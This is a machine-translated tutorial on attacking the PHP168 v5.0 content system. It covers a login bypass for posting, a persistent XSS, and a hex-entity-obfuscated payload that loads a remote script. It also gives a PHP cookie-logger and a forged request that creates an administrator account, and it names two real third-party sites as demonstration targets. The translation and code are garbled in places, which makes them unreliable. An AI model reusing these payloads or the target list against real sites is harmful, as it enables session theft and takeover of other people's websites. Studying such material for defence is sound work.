XSS Cross-site and utilization

(i) Software testing environment and building

Test environment: Local XAMPP 1.7.1

Test software: PHP168 Whole station v5.0

Software Http://down2.php168.com/v2008.rar

PHP.ini configuration: MAGIC_QUOTES_GPC off (on or off has no effect on persistent XSS); register_globals off; Safe_mode off;

Two XSS Cross-Site Foundation

1. XSS Attack definition

XSS is also called the CSS (cross site script), the short-span scripting attack. It refers to a malicious attacker inserting malicious HTML code into a Web page, and when the user browses to the page, the HTML code embedded inside the Web is executed to achieve the special purpose of the malicious user. XSS is a passive attack, because of its passive and bad use, so many people often call it harmful, many systems have an XSS vulnerability, this article is mainly to study the use of XSS in the PHP168 system.

2. How to find XSS vulnerabilities

In general, XSS attacks can be divided into two categories, one is from internal attacks, mainly refers to the use of the program's own vulnerabilities, the construction of cross-site statements, such as: Dvbbs showerror.asp the existence of cross-site vulnerability. The other is to come from outside of the attack, mainly refers to the construction of the XSS cross-Site Vulnerability Web page or to find a non-target outside the Web site has a cross-site vulnerability. If we are going to infiltrate a site, we construct a Web page with a cross-site vulnerability, and then construct the cross-site statement, which, by combining other technologies, such as social engineering, will trick the administrator of the target server into opening.

3. How to use

The traditional way of cross-site use is usually the attacker first constructs a cross-site Web page, and then in another space to put a cookie collection page, and then combined with other technologies to allow users to open cross-site pages to steal users ' cookies for further attacks. Personally think this way too backward, for the shortcomings of everyone may know, because even if you collect cookies you will not be able to penetrate further, the majority of the cookie password is encrypted, if you want to deceive the cookie, you also have to be subject to other conditions. The other way of thinking in this paper is to solve the above problems to some extent. For individuals, the more mature way is to construct a form across the site, the content of the form is to take advantage of the program's backup function or add a manager and other functions to get a high privilege.

Three XSS Cross-site utilization

1. Get XSS Vulnerability Address

XSS is also known as the CSS full name cross site Scripting across-site scripting attack. It is divided into two types: persistent and reflective. This article demonstrates the persistence of cross-site and simple utilization. In fact, are standing on the basis of predecessors, thank those selfless dedication of cattle and cows. After we install php168, do not log in, directly open the following url:http://localhost/php168/member/post.php?job=postnew&fid=2

You can bypass the administrator login, directly publish the article, 1 shows.

　　

Figure 1 bypassing authentication direct posting

Description

If you are testing on the actual network, you can use "php168/member/post.php" as the key value to search, after finding the results, see the result, 2, click on the "Publish" link to enter the publishing page. This obtains the FID is the correct ID, otherwise the resulting ID will not open the page, 3 is shown. In the corresponding input box in Figure 3 to enter the corresponding test values, finished publishing, 4, will give the corresponding action after publication, click View, you can see the posts just published, 5, the entire publishing process without review and login.

　　

Figure 2 Search for php168 posting address

　　

Figure 3 Posting a post directly

　　

Figure 4 Post success

　　

Figure 5 Viewing a posted post

2. Test XSS

In the Post page, select "Source" mode, then add the following code to the content:

Then click on the post, we look at the article address: http://127.0.0.1/php168/bencandy.php?fid=2&aid=4

The evil XSS appears, as shown in 6.

　　

Figure 6 Finding the evil XSS

3. Remote containing JS file attack

We remotely include JS files to attack, the code is as follows:

Src= "javascript:s=document.createelement (' script ');

s.src= ' Http://127.0.0.1/xss/xss.js ';

Document.body.appendChild (s); " />

This will be filtered out directly, we convert the code, for the friend will not be converted to Http://ha.ckers.org/xss.html#ipobfuscate to direct conversion.

The code is as follows:

Src= & #x6A & #x61 & #x76 & #x61 & #x73 & #x63 & #x72 & #x69 & #x70 & #x74 & #x3A x73& #x3D & #x64 & #x6F & #x63 & #x75 & #x6D & #x65 & #x6E & #x74 & #x2E & #x63 x72& #x65 & #x61 & #x74 & #x65 & #x45 & #x6C & #x65 & #x6D & #x65 & #x6E & #x74 x28& #x27script & #x27);

s.src= ' Http://127.0.0.1/xss/xss.js ';

Document.body.appendChild (s); " />

This allows us to directly edit our Xss.js file to hang the admin cookie. Of course the reflective type is more. Its execution effect is shown in 7.

　　

Figure 7 XSS Read effect

4. Obtaining Cookies

We edit the JS file as follows:

alert (Document.cookie);

Return to view, shown in 8, showing the local cookie value.

　　

Figure 8 getting local cookie values

Of course we hide the fishing manager cookie, and did not test the official. Try it, Daniel.

5. Write code to get cookies or add admins directly

Write our PHP file with the following code:

/*auther:menzhi007 blog:http://hi.baidu.com/menzhi007 */

$txtfile = "menzhi.php";

$date = Date ("Y-m-d-h:i:s");

$cookie = $_get[' GET '];

$writeinfo = "{$date}\n{$cookie}\n";

$printer = fopen ($txtfile, ' a ');

Fwrite ($printer, $writeinfo);

Fclose ($printer);

?> or add the administrator directly, the code is as follows:

Location.href= "Http://127.0.0.1/php168/admin/index.php?lfj=member&action=addmember&postdb%5Busername% 5d=menzhi007&postdb%5bpasswd%5d=menzhi007&postdb%5bpasswd2%5d=menzhi007&postdb%5bgroupid%5d=3& Postdb%5bemail%[email PROTECTED]&SUBMIT=%CC%E1%BD%BB ";

Usually there is no time to surf the internet, specifically, we test it. Official path: D:\p8-server\wwwroot\php168_com\

The official has been notified to fix the loophole, do not sabotage (not to enter the official very regret).

(iv) Example demonstration

Everyone open the official homepage http://www.php168.com/biz/impower.php

Business Authorization query, 9.

　　

Figure 9 Getting users using the php168 whole station system

We randomly pick a few, demo site:

http://www.3cq.org/member/post.php?job=postnew&fid=2

　　

Figure 10 Demo Site 1

Demo Site 2:

http://www.ccdv.cc/member/post.php?job=postnew&fid=2

　　

Figure 11 Demo Site 2

XSS Cross-site and utilization